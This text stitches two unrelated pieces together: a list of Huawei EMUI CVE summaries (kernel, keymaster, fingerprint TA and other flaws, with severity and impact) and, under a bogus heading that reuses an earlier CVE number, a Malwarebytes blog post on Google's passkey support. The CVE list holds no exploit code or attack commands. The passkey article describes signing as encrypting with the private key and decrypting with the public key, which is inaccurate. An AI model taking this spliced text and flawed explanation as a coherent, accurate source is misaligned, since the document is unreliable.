CVE-2022-41577: Vulnerability that kernel space does not verify the length of the data transferred by user space

Severity: Medium

Affected versions: EMUI 12.0.0

Impact: Out-of-bounds read may occur in the kernel, affecting device confidentiality and availability.

CVE-2022-41578: Out-of-bounds write vulnerability in the mptcp module

Severity: High

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may cause attack programs to modify program information to implement root privilege escalation attacks.

CVE-2022-41580: Vulnerability of not verifying the read content in the HW\_KEYMASTER module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers can construct malicious data and cause out-of-bounds access.

CVE-2022-41581: Vulnerability of not verifying the read content in the HW\_KEYMASTER module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers can construct malicious data and cause out-of-bounds access.

CVE-2022-41582: Configuration defects.in the security module

Severity: High

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may affect availability.

CVE-2022-41583: Array out-of-bounds read vulnerability in the storage maintenance and debugging module

Severity: Medium

Affected versions: EMUI 12.0.0

Impact: Successful exploitation of this vulnerability will cause some statistics of the module to be abnormal.

CVE-2022-41584: Out-of-bounds read vulnerability in the kernel module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may cause memory overwritting.

CVE-2022-41585: Out-of-bounds read vulnerability in the kernel module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may cause memory overwritting.

CVE-2022-41586: Untruncated data vulnerability in the communication framework module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability will affect confidentiality.

CVE-2022-41587: Uncaptured exceptions in the home screen module

Severity: Medium

Affected versions: EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may affect stability.

CVE-2022-41588: Service logic exception vulnerability in the home screen module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may affect integrity.

CVE-2022-41589: Interface misuse vulnerability in the Maple DFX stack module

Severity: High

Affected versions: EMUI 12.0.0

Impact: Successful exploitation of this vulnerability can affect system services and device availability.

CVE-2022-41592: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41593: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41594: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41595: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41597: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41598: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41600: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41601: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41602: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41603: Heap overflow/Out-of-bounds read/Null pointer or other issues in the phone due to fingerprint TA

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers with the root permission can exploit this vulnerability by controlling the file content. As a result, the fingerprint service may be abnormal.

CVE-2022-41587: October

Categories: News
Tags: Google

Tags:  passkeys

Tags:  Android

Tags:  Chrome

Tags:  public key

Tags:  private key

Tags:  authenticator

Tags:  WebAuthn

Passwords won't disappear any time soon, but a viable alternative is taking shape



(Read more...)




The post Android and Chrome start showing passwords the door appeared first on Malwarebytes Labs.

Google has announced that it's bringing passkey support to both Android and Chrome. On May 5, 2022, it said it would implement passwordless support in Android and Chrome and the latest annoncement about passkeys is an important step in that journey.

**Passkeys**

Passkeys are a replacement for passwords. They are faster to sign in with, easier to use, and much more secure. Sounds good, right? So, why isn’t everybody using them already? Maybe because we do a bad job at explaining how easy they are.

Although they share four letters, passkeys are nothing like passwords. They use public-key cryptography, which requires a set of two cryptographic "keys". One is public and one is private.

The public key is generated by the user and stored by whatever service the user is logging in to. When a user wants to log in, the service sends the user some data to "sign", the user encryptes it with their private key and sends it back. The service then decrypts it with the public key. If the decryption works that's proof that the owner of the private key signed the data and is therefore owner of the public key.

A user does not have to remember the public key or, heaven forbid, type it out in some form. That would only make matters worse. The public key also does not need to be kept a secret. Which means you don’t have to worry about data breaches, post-its, machine-in-the-middle attacks, or any other way it could be discovered or fall into the wrong hands, because the wrong hands are welcome to it: It is useless to them.

As long as your private key is safe, you are secure. And the private key stays on a device you own, such as a phone or hardware key, is never shared with anybody or any thing, and never leaves your possession. It's job is to prove that the public key is really yours.

**Authenticators**

So, your private key is something you hold on to, but where do you keep it, what actually does the signing with it, and how is it secured? All of this happens on devices called "authenticators".

An authenticator is a device that knows how to create and share the public key, knows how to store private keys, and knows how to use them to sign things. Authenticators can be hardware keys, phones, laptops, or any other kind of computing device. Best of all, authenticators can be a separate device from the one you're logging in on. So you can log in to a website on your laptop and use a phone paired with your laptop as the authenticator.

Since passkeys are built on industry standards, this works across different platforms and browsers—including Windows, macOS, iOS, and ChromeOS. An Android user can sign in to a passkey-enabled website using Safari on a Mac, and a Windows user can do the same using a passkey stored on their iOS device.

Before an authenticator will share a public key or sign you into a site you have to authorise it to do so using a "gesture". What constitutes a gesture is deliberately vague: It could be a button press, it could be a succesful Windows Hello face recognition, entering a PIN, or pressing a finger on your phone's fingerprint sensor.

What's important to remember here is that the gesture does not get sent to the website, it just permits the authenticator to do its work. So, if your authenticator uses a fingerprint scanner there is no need to worry your fingerprints will get sent to the website, exposed in a breach and re-used on a crime scene. Whether it’s a fingerprint, a facial scan, or anything else, the website knows nothing about the gesture at all.

**Lost passkeys**

Now your greatest worry is probably—what happens if I lose my private key or the device it’s on? This is where Google's announcement comes in. (In my eagerness to explain, I almost forgot to tell you what it was exactly that Google announced.)

The announcement is:

*   Users can create and use passkeys on Android devices, which are securely synced through the Google Password Manager.
*   Developers can build passkey support on their sites for end-users using Chrome via the WebAuthn API, on Android and other supported platforms.

Passkey synchronization makes it very hard to lose your private key: Passkeys are recoverable even in the event that all associated devices are lost.

This is similar to Apple's ability to recover a keychain. To do so, a user must authenticate with their iCloud account and password and then respond to an SMS sent to their registered phone number. With the keychain in hand, passkeys can be recovered through iCloud keychain escrow.

**Shift of responsibility**

For years the responsibility for safe authentication has been put in the wrong hands: Users'. Since we all know that the strength of a chain is never greater than that of the weakest link, we’ve been trying to improve the strength of that link. Sometimes by educating users, or yelling at them, even lying to them, or anything else that we thought could invoke a more responsible use of passwords.

What we haven’t done, or at least not as loud, is wonder how threat actors got their hands on all these username-password combination they could use in credential stuffing attacks. The answer was breaches. Asking a visitor to come up with a unique and secure password and then having thousands or even millions of them stolen doesn’t make the user feel any better about password security, does it now?

If you will allow me another analogy: In the past we sent a canary down into the mines to warn the miners if the carbon monoxide level was too high. The gases would kill the canary before killing the miners, thus providing a warning to exit the tunnels immediately. To improve that method, we didn’t start breeding stronger canaries, we improved the methods of detecting toxic gasses.

**Password less future**

For years we’ve been asking when we can get rid of passwords for good? Not yet, but this is a step closer. Now that it is available, we just have to get everyone on board.

The good news is that every modern browser already knows how to handle their part, by supporting the WebAuthn standard, so all we need now is for websites and other online resources to support it, and for vendors to create compatible authenticators.

Last year Microsoft announced that as of September 15, 2021 you can completely remove the password from your Microsoft account and use the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email to sign in to Microsoft apps and services. Together with Google and Microsoft, Apple committed to expanded support for FIDO standard to accelerate availability of password less sign-ins.

Let us know in the comments whether you agree that a better understanding of how passkeys work will make the transition go faster.

Tag

#android